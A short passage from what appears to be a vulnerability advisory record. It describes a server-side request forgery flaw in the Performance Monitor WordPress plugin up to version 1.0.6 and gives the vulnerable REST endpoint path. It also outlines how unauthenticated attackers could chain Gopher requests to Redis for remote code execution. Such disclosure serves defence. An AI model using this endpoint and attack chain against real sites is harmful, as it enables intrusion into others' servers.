This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis."}, {"lang": "es", "value": "El plugin Performance Monitor para WordPress es vulnerable a la Falsificación de Petición del Lado del Servidor en todas las versiones hasta la 1.0.6, inclusive.
